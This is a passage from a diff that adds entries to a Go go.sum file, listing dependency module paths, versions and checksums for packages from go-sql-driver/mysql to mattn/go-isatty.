+github.com/go-sql-driver/mysql v1.4.0/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w=
+github.com/go-sql-driver/mysql v1.4.1/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w=
+github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
+github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
+github.com/gobuffalo/envy v1.7.0/go.mod h1:n7DRkBerg/aorDM8kbduw5dN3oXGswK5liaSCx4T5NI=
+github.com/gobuffalo/envy v1.7.1/go.mod h1:FurDp9+EDPE4aIUS3ZLyD+7/9fpx7YRt/ukY6jIHf0w=
+github.com/gobuffalo/logger v1.0.1/go.mod h1:2zbswyIUa45I+c+FLXuWl9zSWEiVuthsk8ze5s8JvPs=
+github.com/gobuffalo/packd v0.3.0/go.mod h1:zC7QkmNkYVGKPw4tHpBQ+ml7W/3tIebgeo1b36chA3Q=
+github.com/gobuffalo/packr/v2 v2.7.1/go.mod h1:qYEvAazPaVxy7Y7KR0W8qYEE+RymX74kETFqjFoFlOc=
+github.com/gobwas/httphead v0.0.0-20180130184737-2c6c146eadee/go.mod h1:L0fX3K22YWvt/FAX9NnzrNzcI4wNYi9Yku4O0LKYflo=
+github.com/gobwas/pool v0.2.0/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
+github.com/gobwas/ws v1.0.2/go.mod h1:szmBTxLgaFppYjEmNtny/v3w89xOydFnnZMcgRRu/EM=
+github.com/gogo/googleapis v1.1.0/go.mod h1:gf4bu3Q80BeJ6H1S1vYPm8/ELATdvryBaNFGgqEef3s=
+github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
+github.com/gogo/protobuf v1.2.0/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
+github.com/gogo/protobuf v1.2.1 h1:/s5zKNz0uPFCZ5hddgPdo2TK2TVrUNMn0OOX8/aZMTE=
+github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=
+github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
+github.com/golang/gddo v0.0.0-20190419222130-af0f2af80721 h1:KRMr9A3qfbVM7iV/WcLY/rL5LICqwMHLhwRXKu99fXw=
+github.com/golang/gddo v0.0.0-20190419222130-af0f2af80721/go.mod h1:xEhNfoBDX1hzLm2Nf80qUvZ2sVwoMZ8d6IE2SrsQfh4=
+github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
+github.com/golang/groupcache v0.0.0-20160516000752-02826c3e7903/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e h1:1r7pUrabqp18hOBcwBwiTsbnFeTZHV9eER/QT5JVZxY=
+github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
+github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
+github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
+github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
+github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
+github.com/golang/mock v1.4.3 h1:GV+pQPG/EUUbkh47niozDcADz6go/dUwhVzdUQHIVRw=
+github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
+github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
+github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
+github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
+github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
+github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
+github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=
+github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
+github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
+github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
+github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
+github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
+github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
+github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
+github.com/golang/protobuf v1.4.3 h1:JjCZWpVbqXDqFVmTfYWEVTMIYrL/NPdPSCHPJ0T/raM=
+github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
+github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
+github.com/gomodule/redigo v1.7.1-0.20190724094224-574c33c3df38/go.mod h1:B4C85qUVwatsJoIUNIfCRsp7qO0iAmpGFZ4EELWSbC4=
+github.com/gomodule/redigo v2.0.0+incompatible h1:K/R+8tc58AaqLkqG2Ol3Qk+DR/TlNuhuh457pBFPtt0=
+github.com/gomodule/redigo v2.0.0+incompatible/go.mod h1:B4C85qUVwatsJoIUNIfCRsp7qO0iAmpGFZ4EELWSbC4=
+github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
+github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
+github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
+github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
+github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
+github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.4.1 h1:/exdXoGamhu5ONeUJH0deniYLWYvQwW66yvlfiiKTu0=
+github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
+github.com/google/go-replayers/grpcreplay v0.1.0 h1:eNb1y9rZFmY4ax45uEEECSa8fsxGRU+8Bil52ASAwic=
+github.com/google/go-replayers/grpcreplay v0.1.0/go.mod h1:8Ig2Idjpr6gifRd6pNVggX6TC1Zw6Jx74AKp7QNH2QE=
+github.com/google/go-replayers/httpreplay v0.1.0 h1:AX7FUb4BjrrzNvblr/OlgwrmFiep6soj5K2QSDW7BGk=
+github.com/google/go-replayers/httpreplay v0.1.0/go.mod h1:YKZViNhiGgqdBlUbI2MwGpq4pXxNmhJLPHQ7cv2b5no=
+github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
+github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
+github.com/google/martian v2.1.1-0.20190517191504-25dcb96d9e51+incompatible h1:xmapqc1AyLoB+ddYT6r04bD9lIjlOqGaREovi0SzFaE=
+github.com/google/martian v2.1.1-0.20190517191504-25dcb96d9e51+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
+github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
+github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
+github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
+github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
+github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
+github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
+github.com/google/pprof v0.0.0-20200507031123-427632fa3b1c h1:lIC98ZUNah83ky7d9EXktLFe4H7Nwus59dTOLXr8xAI=
+github.com/google/pprof v0.0.0-20200507031123-427632fa3b1c/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
+github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
+github.com/google/subcommands v1.0.1/go.mod h1:ZjhPrFU+Olkh9WazFPsl27BQ4UPiG37m3yTrtFlrHVk=
+github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/google/uuid v1.1.1 h1:Gkbcsh/GbpXz7lPftLA3P6TYMwjCLYm83jiFQZF/3gY=
+github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/google/wire v0.4.0 h1:kXcsA/rIGzJImVqPdhfnr6q0xsS9gU0515q1EPpJ9fE=
+github.com/google/wire v0.4.0/go.mod h1:ngWDr9Qvq3yZA10YrxfyGELY/AFWGVpy9c1LTRi1EoU=
+github.com/googleapis/gax-go v2.0.2+incompatible h1:silFMLAnr330+NRuag/VjIGF7TLp/LBrV2CJKFLWEww=
+github.com/googleapis/gax-go v2.0.2+incompatible/go.mod h1:SFVmujtThgffbyetf+mdk2eWhX2bMyUtNHzFKcPA9HY=
+github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
+github.com/googleapis/gax-go/v2 v2.0.5 h1:sjZBwGj9Jlw33ImPtvFviGYvseOtDM7hkSKB7+Tv3SM=
+github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
+github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1 h1:EGx4pi6eqNxGaHF6qqu48+N2wcFQ5qg5FXgOdqsJ5d8=
+github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
+github.com/gorilla/context v1.1.1/go.mod h1:kBGZzfjB9CEq2AlWe17Uuf7NDRt0dE0s8S51q0aT7Yg=
+github.com/gorilla/mux v1.6.2/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
+github.com/gorilla/mux v1.7.3/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
+github.com/gorilla/websocket v0.0.0-20170926233335-4201258b820c/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=
+github.com/gorilla/websocket v1.4.0 h1:WDFjx/TMzVgy9VdMMQi2K2Emtwi2QcUQsztZ/zLaH/Q=
+github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=
+github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
+github.com/grpc-ecosystem/go-grpc-middleware v1.0.1-0.20190118093823-f849b5445de4/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
+github.com/grpc-ecosystem/go-grpc-middleware v1.2.2 h1:FlFbCRLd5Jr4iYXZufAvgWN6Ao0JrI5chLINnUXDDr0=
+github.com/grpc-ecosystem/go-grpc-middleware v1.2.2/go.mod h1:EaizFBKfUKtMIF5iaDEhniwNedqGo9FuLFzppDr3uwI=
+github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 h1:Ovs26xHkKqVztRpIrF/92BcuyuQ/YW4NSIpoGtfXNho=
+github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk=
+github.com/grpc-ecosystem/grpc-gateway v1.9.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
+github.com/hashicorp/consul/api v1.3.0/go.mod h1:MmDNSzIMUjNpY/mQ398R4bk2FnqQLoPndWW5VkKPlCE=
+github.com/hashicorp/consul/sdk v0.3.0/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
+github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
+github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
+github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
+github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
+github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
+github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU=
+github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=
+github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4=
+github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
+github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
+github.com/hashicorp/go-version v1.2.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA=
+github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=
+github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
+github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
+github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
+github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64=
+github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ=
+github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=
+github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc=
+github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI=
+github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
+github.com/hudl/fargo v1.3.0/go.mod h1:y3CKSmjA+wD2gak7sUSXTAoopbhU08POFhmITJgmKTg=
+github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
+github.com/imkira/go-interpol v1.1.0/go.mod h1:z0h2/2T3XF8kyEPpRgJ3kmNv+C43p+I/CoI+jC3w2iA=
+github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
+github.com/influxdata/influxdb1-client v0.0.0-20191209144304-8bf82d3c094d/go.mod h1:qj24IKcXYK6Iy9ceXlo3Tc+vtHo9lIhSX5JddghvEPo=
+github.com/iris-contrib/blackfriday v2.0.0+incompatible/go.mod h1:UzZ2bDEoaSGPbkg6SAB4att1aAwTmVIx/5gCVqeyUdI=
+github.com/iris-contrib/go.uuid v2.0.0+incompatible/go.mod h1:iz2lgM/1UnEf1kP0L/+fafWORmlnuysV2EMP8MW+qe0=
+github.com/iris-contrib/i18n v0.0.0-20171121225848-987a633949d0/go.mod h1:pMCz62A0xJL6I+umB2YTlFRwWXaDFA0jy+5HzGiJjqI=
+github.com/iris-contrib/schema v0.0.1/go.mod h1:urYA3uvUNG1TIIjOSCzHr9/LmbQo8LrOcOqfqxa4hXw=
+github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
+github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
+github.com/jmespath/go-jmespath v0.3.0 h1:OS12ieG61fsCg5+qLJ+SsW9NicxNkg3b25OyT2yCeUc=
+github.com/jmespath/go-jmespath v0.3.0/go.mod h1:9QtRXoHjLGCJ5IBSaohpXITPlowMeeYCZ7fLUTSywik=
+github.com/johannesboyne/gofakes3 v0.0.0-20200510090907-02d71f533bec h1:jEZFmuFe51KdrceqM4NL3dJiuog0zojzcN/VculG26o=
+github.com/johannesboyne/gofakes3 v0.0.0-20200510090907-02d71f533bec/go.mod h1:fNiSoOiEI5KlkWXn26OwKnNe58ilTIkpBlgOrt7Olu8=
+github.com/joho/godotenv v1.3.0/go.mod h1:7hK45KPybAkOC6peb+G5yklZfMxEjkZhHbwpqxOKXbg=
+github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
+github.com/jpillora/backoff v1.0.0 h1:uvFg412JmmHBHw7iwprIxkPMI+sGQ4kzOWsMeHnm2EA=
+github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4=
+github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
+github.com/json-iterator/go v1.1.7/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
+github.com/json-iterator/go v1.1.8/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
+github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
+github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=
+github.com/jstemmer/go-junit-report v0.9.1 h1:6QPYqodiu3GuPL+7mfx+NwDdp2eTkp9IfEUpgAwUN0o=
+github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk=
+github.com/jtolds/gls v4.20.0+incompatible h1:xdiiI2gbIgH/gLH7ADydsJ1uDOEzR8yvV7C0MuV77Wo=
+github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=
+github.com/juju/errors v0.0.0-20181118221551-089d3ea4e4d5/go.mod h1:W54LbzXuIE0boCoNJfwqpmkKJ1O4TCTZMetAt6jGk7Q=
+github.com/juju/loggo v0.0.0-20180524022052-584905176618/go.mod h1:vgyd7OREkbtVEN/8IXZe5Ooef3LQePvuBm9UWj6ZL8U=
+github.com/juju/testing v0.0.0-20180920084828-472a3e8b2073/go.mod h1:63prj8cnj0tU0S9OHjGJn+b1h0ZghCndfnbQolrYTwA=
+github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w=
+github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM=
+github.com/k0kubun/colorstring v0.0.0-20150214042306-9440f1994b88/go.mod h1:3w7q1U84EfirKl04SVQ/s7nPm1ZPhiXd34z40TNz36k=
+github.com/kataras/golog v0.0.9/go.mod h1:12HJgwBIZFNGL0EJnMRhmvGA0PQGx8VFwrZtM4CqbAk=
+github.com/kataras/iris/v12 v12.0.1/go.mod h1:udK4vLQKkdDqMGJJVd/msuMtN6hpYJhg/lSzuxjhO+U=
+github.com/kataras/neffos v0.0.10/go.mod h1:ZYmJC07hQPW67eKuzlfY7SO3bC0mw83A3j6im82hfqw=
+github.com/kataras/pio v0.0.0-20190103105442-ea782b38602d/go.mod h1:NV88laa9UiiDuX9AhMbDPkGYSPugBOV6yTZB1l2K9Z0=
+github.com/kelseyhightower/envconfig v1.3.0 h1:IvRS4f2VcIQy6j4ORGIf9145T/AsUB+oY8LyvN8BXNM=
+github.com/kelseyhightower/envconfig v1.3.0/go.mod h1:cccZRl6mQpaq41TPp5QxidR+Sa3axMbJDNb//FQX6Gg=
+github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q=
+github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
+github.com/klauspost/compress v1.8.2/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
+github.com/klauspost/compress v1.9.0/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
+github.com/klauspost/cpuid v1.2.1/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=
+github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
+github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
+github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
+github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
+github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI=
+github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
+github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
+github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
+github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
+github.com/labstack/echo/v4 v4.1.11/go.mod h1:i541M3Fj6f76NZtHSj7TXnyM8n2gaodfvfxNnFqi74g=
+github.com/labstack/gommon v0.3.0/go.mod h1:MULnywXg0yavhxWKc+lOruYdAhDwPK9wf0OL7NoOu+k=
+github.com/lib/pq v1.1.1/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
+github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
+github.com/libgit2/git2go/v30 v30.0.5/go.mod h1:YReiQ7xhMoyAL4ISYFLZt+OGqn6xtLqvTC1xJ9oAH7Y=
+github.com/lightstep/lightstep-tracer-common/golang/gogo v0.0.0-20190605223551-bc2310a04743 h1:143Bb8f8DuGWck/xpNUOckBVYfFbBTnLevfRZ1aVVqo=
+github.com/lightstep/lightstep-tracer-common/golang/gogo v0.0.0-20190605223551-bc2310a04743/go.mod h1:qklhhLq1aX+mtWk9cPHPzaBjWImj5ULL6C7HFJtXQMM=
+github.com/lightstep/lightstep-tracer-go v0.15.6/go.mod h1:6AMpwZpsyCFwSovxzM78e+AsYxE8sGwiM6C3TytaWeI=
+github.com/lightstep/lightstep-tracer-go v0.18.1 h1:vi1F1IQ8N7hNWytK9DpJsUfQhGuNSc19z330K6vl4zk=
+github.com/lightstep/lightstep-tracer-go v0.18.1/go.mod h1:jlF1pusYV4pidLvZ+XD0UBX0ZE6WURAspgAczcDHrL4=
+github.com/lyft/protoc-gen-validate v0.0.13/go.mod h1:XbGvPuh87YZc5TdIa2/I4pLk0QoUACkjt2znoq26NVQ=
+github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
+github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
+github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
+github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
+github.com/mattn/go-ieproxy v0.0.0-20190610004146-91bb50d98149/go.mod h1:31jz6HNzdxOmlERGGEc4v/dMssOfmp2p5bT/okiKFFc=
+github.com/mattn/go-ieproxy v0.0.0-20190702010315-6dee0af9227d/go.mod h1:31jz6HNzdxOmlERGGEc4v/dMssOfmp2p5bT/okiKFFc=
+github.com/mattn/go-ieproxy v0.0.1 h1:qiyop7gCflfhwCzGyeT0gro3sF9AIg9HU98JORTkqfI=
+github.com/mattn/go-ieproxy v0.0.1/go.mod h1:pYabZ6IHcRpFh7vIaLfK7rdcWgFEb3SFJ6/gNWuh88E=
+github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
